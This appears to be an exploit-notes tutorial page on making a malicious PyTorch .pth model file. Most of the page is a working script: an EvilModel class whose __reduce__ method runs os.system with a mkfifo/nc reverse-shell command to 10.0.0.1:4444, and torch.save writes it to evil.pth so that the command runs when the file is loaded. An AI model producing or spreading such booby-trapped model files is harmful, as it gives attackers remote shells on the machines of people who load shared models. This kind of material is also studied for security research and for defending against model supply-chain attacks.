Pytorch Models/PTH Files Code Execution

Theory

A file with a .pth extension typically contains a serialized PyTorch state dictionary. A PyTorch state dictionary is a Python dictionary that contains the state of a PyTorch model, including the model's weights, biases, and other parameters.

We can craft a malicious .pth file that will execute arbitrary code when model is loaded/trained/evaluated in the target system.

Practice

Model Serialization Attack

1 - Install Dependencies

It requires torch so install it:

# Create a virtual environment to avoid pulluting the host environment.
python3 -m venv myvenv
pip3 install torch

2 - Create Python Script To Generate Malicious Model

Now create a Python script that generates our malicious ML model. This model executes OS command when it is evaluated.

# generate_model.py
import torch
import torch.nn as nn
import os

class EvilModel(nn.Module):
	def __init__(self):
		super(EvilModel, self).__init__()
		self.dense = nn.Linear(10, 50)
	
	def forward(self, evil):
		return self.dense(evil)
	
	def __reduce__(self):
		# Inject OS command.
		cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/f"
		return os.system, (cmd,)

# Save the model
evil_model = EvilModel()
torch.save(evil_model, 'evil.pth')

3 - Run Python Script

Now execute this Python script as below:

python3 generate_model.py

After that, our model named evil.pth will be generated.

Resources

https://exploit-notes.hdks.org/exploit/machine-learning/model/create-malicious-ml-model/exploit-notes.hdks.org